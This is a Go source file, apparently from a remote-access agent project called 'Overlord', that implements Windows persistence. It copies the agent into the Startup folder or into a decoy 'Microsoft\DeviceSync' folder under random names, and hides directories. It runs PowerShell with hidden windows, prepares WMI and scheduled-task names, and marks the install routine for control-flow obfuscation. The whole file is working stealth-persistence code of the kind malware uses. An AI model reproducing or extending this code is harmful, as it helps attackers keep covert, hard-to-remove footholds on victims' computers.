Files
overlord/Overlord-Client/cmd/agent/persistence/persistence_windows.go
T

350 lines
8.4 KiB
Go
Raw Normal View History

2026-03-05 00:04:26 -06:00
//go:build windows
// +build windows
package persistence
import (
2026-03-09 13:52:42 -05:00
"crypto/rand"
"crypto/sha256"
2026-03-09 13:52:42 -05:00
"encoding/hex"
2026-03-05 00:04:26 -06:00
"fmt"
"io"
"os"
"os/exec"
2026-03-05 00:04:26 -06:00
"path/filepath"
2026-03-09 13:52:42 -05:00
"strings"
"syscall"
2026-03-05 00:04:26 -06:00
"golang.org/x/sys/windows/registry"
)
const (
registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
2026-03-11 18:55:01 -05:00
startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
appDataBinaryDir = `Microsoft\DeviceSync`
defaultExecutablePrefix = "ovd_"
legacyRegistryValueName = "OverlordAgent"
registryValuePrefix = "OverlordAgent-"
createNoWindow = 0x08000000
)
func hasCustomName() bool {
return DefaultStartupName != ""
}
func executablePrefix() string {
if hasCustomName() {
return DefaultStartupName
}
return defaultExecutablePrefix
}
2026-03-26 11:05:04 -05:00
var hasStartupMethod bool
2026-03-05 00:04:26 -06:00
func getTargetPath() (string, error) {
2026-03-26 11:05:04 -05:00
if !hasStartupMethod && len(persistInstallFns) > 0 {
return getAppDataTargetPath()
}
2026-03-26 11:05:04 -05:00
return getStartupFolderTargetPath()
}
func installStartupImpl(exePath string) error {
targetPath, err := getStartupFolderTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create startup directory: %w", err)
}
if strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
return nil
}
return replaceExecutable(exePath, targetPath)
}
func getStartupFolderTargetPath() (string, error) {
2026-03-05 00:04:26 -06:00
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
2026-03-11 18:55:01 -05:00
startupDir := filepath.Join(appDataDir, startupFolderRelative)
if existing, ok := findExistingBinaryInDir(startupDir); ok {
2026-03-11 18:55:01 -05:00
return existing, nil
}
name, err := generateBinaryName()
2026-03-11 18:55:01 -05:00
if err != nil {
return "", err
}
return filepath.Join(startupDir, name), nil
}
func getAppDataTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
dir := filepath.Join(appDataDir, appDataBinaryDir)
if existing, ok := findExistingBinaryInDir(dir); ok {
return existing, nil
}
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(dir, name), nil
}
2026-03-11 18:55:01 -05:00
func getLegacyTargetPath() (string, bool) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", false
}
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
}
func findExistingBinaryInDir(dir string) (string, bool) {
entries, err := os.ReadDir(dir)
2026-03-11 18:55:01 -05:00
if err != nil {
return "", false
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := strings.ToLower(entry.Name())
if hasCustomName() {
if name == strings.ToLower(DefaultStartupName+".exe") {
return filepath.Join(dir, entry.Name()), true
}
} else if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, defaultExecutablePrefix) {
return filepath.Join(dir, entry.Name()), true
2026-03-11 18:55:01 -05:00
}
}
return "", false
}
func findExistingStartupExecutable(startupDir string) (string, bool) {
return findExistingBinaryInDir(startupDir)
}
func generateBinaryName() (string, error) {
if hasCustomName() {
return DefaultStartupName + ".exe", nil
}
2026-03-11 18:55:01 -05:00
b := make([]byte, 6)
if _, err := rand.Read(b); err != nil {
return "", fmt.Errorf("failed to generate executable name: %w", err)
2026-03-11 18:55:01 -05:00
}
return defaultExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
2026-03-05 00:04:26 -06:00
}
func generateStartupExecutableName() (string, error) {
return generateBinaryName()
}
2026-03-05 00:04:26 -06:00
func deriveTaskName(targetPath string) string {
prefix := defaultExecutablePrefix
if hasCustomName() {
prefix = DefaultStartupName + "_"
}
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
return prefix + hex.EncodeToString(h[:4])
}
func deriveWMINames(targetPath string) (filterName, consumerName string) {
prefix := defaultExecutablePrefix
if hasCustomName() {
prefix = DefaultStartupName + "_"
}
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
suffix := hex.EncodeToString(h[:4])
return prefix + "f" + suffix, prefix + "c" + suffix
}
2026-04-03 10:33:24 -05:00
func tryHideDirectory(dir string) {
ptr, err := syscall.UTF16PtrFromString(dir)
if err != nil {
return
}
attrs, err := syscall.GetFileAttributes(ptr)
if err != nil {
return
}
_ = syscall.SetFileAttributes(ptr, attrs|syscall.FILE_ATTRIBUTE_HIDDEN)
}
func runPowerShell(script string) error {
cmd := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
"-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: createNoWindow,
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func install(exePath string) error {
2026-04-20 13:46:59 -05:00
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
2026-03-26 11:05:04 -05:00
if len(persistInstallFns) == 0 {
if err := installStartupImpl(exePath); err != nil {
return err
}
_ = cleanupLegacyRunValues()
return nil
2026-03-05 00:04:26 -06:00
}
2026-03-26 11:05:04 -05:00
var firstErr error
for _, fn := range persistInstallFns {
if err := fn(exePath); err != nil && firstErr == nil {
firstErr = err
}
2026-03-05 00:04:26 -06:00
}
_ = cleanupLegacyRunValues()
2026-03-26 11:05:04 -05:00
return firstErr
2026-03-05 00:04:26 -06:00
}
func replaceExecutable(exePath, targetPath string) error {
srcFile, err := os.Open(exePath)
if err != nil {
return fmt.Errorf("failed to open source executable: %w", err)
}
defer srcFile.Close()
dir := filepath.Dir(targetPath)
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp executable: %w", err)
}
tmpPath := tmpFile.Name()
defer func() {
_ = tmpFile.Close()
_ = os.Remove(tmpPath)
}()
if _, err := io.Copy(tmpFile, srcFile); err != nil {
return fmt.Errorf("failed to copy executable: %w", err)
}
if err := tmpFile.Sync(); err != nil {
return fmt.Errorf("failed to sync temp file: %w", err)
}
if err := tmpFile.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, targetPath); err != nil {
if removeErr := os.Remove(targetPath); removeErr == nil {
if err = os.Rename(tmpPath, targetPath); err == nil {
return nil
}
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
return nil
}
func configure(exePath string) error {
2026-03-26 11:05:04 -05:00
return install(exePath)
2026-03-05 00:04:26 -06:00
}
func uninstall() error {
_ = cleanupLegacyRunValues()
for _, fn := range persistUninstallFns {
_ = fn()
}
2026-03-05 00:04:26 -06:00
appDataDir := os.Getenv("APPDATA")
2026-03-11 18:55:01 -05:00
if appDataDir == "" {
return nil
}
2026-03-05 00:04:26 -06:00
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
2026-03-11 18:55:01 -05:00
if legacyPath, ok := getLegacyTargetPath(); ok {
_ = os.Remove(legacyPath)
2026-03-05 00:04:26 -06:00
}
return nil
}
2026-03-09 13:52:42 -05:00
func removeCurrentInstall(_ string) error {
return nil
}
2026-03-11 18:55:01 -05:00
func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir)
2026-03-09 13:52:42 -05:00
if err != nil {
2026-03-11 18:55:01 -05:00
if os.IsNotExist(err) {
return nil
}
return fmt.Errorf("failed to read startup cleanup directory %s: %w", dir, err)
2026-03-09 13:52:42 -05:00
}
2026-03-11 18:55:01 -05:00
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := strings.ToLower(entry.Name())
var match bool
if hasCustomName() {
match = name == strings.ToLower(DefaultStartupName+".exe")
} else {
match = strings.HasPrefix(name, defaultExecutablePrefix)
}
if match {
2026-03-11 18:55:01 -05:00
if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err)
}
}
}
return nil
}
func cleanupLegacyRunValues() error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
2026-03-11 18:55:01 -05:00
if err != nil {
if err == registry.ErrNotExist {
return nil
}
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
return cleanupOverlordRunValues(k)
2026-03-09 13:52:42 -05:00
}
func cleanupOverlordRunValues(k registry.Key) error {
names, err := k.ReadValueNames(0)
if err != nil {
return err
}
for _, name := range names {
if isOverlordRunValueName(name) {
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
return err
}
}
}
return nil
}
func isOverlordRunValueName(name string) bool {
if strings.EqualFold(name, legacyRegistryValueName) {
return true
}
return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
}